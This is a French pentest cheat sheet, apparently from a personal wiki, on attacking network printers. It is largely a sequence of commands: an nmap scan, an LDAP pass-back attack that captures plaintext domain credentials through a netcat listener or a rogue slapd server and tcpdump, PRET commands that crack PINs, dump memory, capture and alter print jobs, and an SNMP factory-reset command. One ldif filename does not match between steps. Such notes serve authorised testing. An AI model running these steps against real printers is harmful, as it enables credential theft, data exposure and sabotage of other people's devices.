🖨️Imprimantes

Site

http://hacking-printers.net/

Mindmap

Scan

$ nmap -sV -p 9091, 515, 631, 21, 23, 80, 443 <target IP>

Accès anonymes

Commencer par tester les accès anonymes sur les différents ports disponibles.

Mot de passe par défaut

Puis, essayer de se connecter avec les identifiants fabriquant généralement facilement retrouveable soit directement sur le navigateur soit dans la documentation de l'imprimante.

Exploits

Rechercher des exploits liés à l'imprimante testé.

Lexmark

LDAP Pass-back attack

Cette attaque vise à tromper l'imprimante afin de la faire se connecter à un serveur non autorisé afin de divulger des informations d'identification ou des hachages réseau stockés pendant que l'appareil tente de s'authentifier auprès du serveur.

Exemple avec une fonctionnalitée permettant de mettre à jour les informations de l'imprimante.

Il est possible d'effecter cette attaque de différentes façons:

Avec un listener netcat

Sur l'interface web, on va indiquer l'adresse IP de notre machine attaquant puis lancer un listener netcat sur un terminal écoutant sur le port 389 (port du server contacté par l'imprimante dans notre cas).

Une fois cela fait, lorsqu'on cliquera sur le bouton update, l'imprimante contactera notre listener comme si il s'agissait d'un serveur légitime et lui transmettra les informations dont le mot de passe en clair.

Via un rogue LDAP server

Dans le cas où le listener netcat ne suffirait pas, on peut essayer de passer par un rogue LDAP server.

On va d'abors installer les packages nécessaires avec les commandes:

$ sudo apt-get update && sudo apt-get -y install slapd ldap-utils

Puis on va configurer le serveur avec la commande:

$ dpkg-reconfigure -p low slapd

Les configurations à apporter sont les suivantes:

  • Omit OpenLDAP server configuration? No

  • DNS domain name: <target AD domain name>

  • Organization name: <target AD domain name>

  • Administrator password: <mot de passe configuré lors de l'installation>

  • Do you want the database to be removed when slapd is purged? No

  • Move old database? Yes

Une fois les configurations terminées,

$ sudo systemctl start slapd

Pour capturer les informations d'identification en texte clair, reconfigurer le serveur LDAP pour prendre en charge les méthodes d'authentification PLAIN et LOGIN.

Pour ce faire, créer un fichier "olcSaslSecProps.ldif" avec les configurations ci-dessous.

#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

Valider les nouvelles modifications avec ldapmodify et redémarrez le serveur comme ceci.

$ sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcPlainAuthOnly.ldif
$ sudo service slapd restart

Valider les modifications avec la commande:

$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms

Puis lancer un tcpdump pour capturer les identifiants et forcer l'imprimante à se connecter au serveur rogue.

$ sudo tcpdump -SX -i tun0 tcp port 389

Bruteforce

Avec PRET:

$ ./pret.py -q <target> pjl
> lock 999
PIN protection:  ENABLED
Panel lock:      ON
Disk lock:       ON
> unlock
No PIN given, cracking.
PIN protection:  DISABLED
Panel lock:      OFF
Disk lock:       OFF

ou

$ ./pret.py -q <target> ps
> lock 999
> unlock
No password given, cracking.
Device unlocked with password: 999
> lock S0me_Re4lly_g00d_Passw0rd!
> unlock bypass
Resetting password to zero with super-secret PostScript magic
Device unlocked with password: 0

Post-Exploit

Une fois l'imprimante compromise,

Rechercher des informations sensibles

Les imprimantes possèdent souvent une interface web dans laquelle il n'est pas rare de retrouver le carnet d'adresses contenant au minimum des emails de collaborateurs. On peut aussi analyser les logs pouvant donner des informations interessantes sur les connexions etc.

Accès à la mémoire

Avec PRET:

./pret.py -q <target> pjl
> nvram dump
./pret.py -q <target> ps
> ls ...

Escalation de privilèges

Réinitialisation de l'imprimante comme sortie d'usine

snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6

ou avec PRET:

./pret.py -q <target> pjl
> reset
> restart

Essayer d'ajouter un username sans être authentifié (Port 631 - IPP)

lp -U nobody test.ps

Accounting bypass avec PRET

$ ./pret.py <target> pjl
> pagecount

Interactions avec les jobs

Activer la sauvegarde des jobs

./pret.py -q <target> ps
> hold
Job retention enabled.

Capture des jobs

Avec PRET:

$ ./pret.py -q <target> ps
> capture start

Manipulation des jobs

$ ./pret.py -q <target> ps
> overlay overlays/smiley.eps
> cross whoa "HACKED"
> exit

Outil

PRET

Printer Exploitation Toolkit - L'outil qui a rendu le dumpster diving obsolète.

Exemples d'utilisation

printer discovery:

$ ./pret.py

Lancer un shell pret:

$ ./pret.py <target printer name> <printer language>

ressource: https://github.com/RUB-NDS/PRET

Dernière mise à jour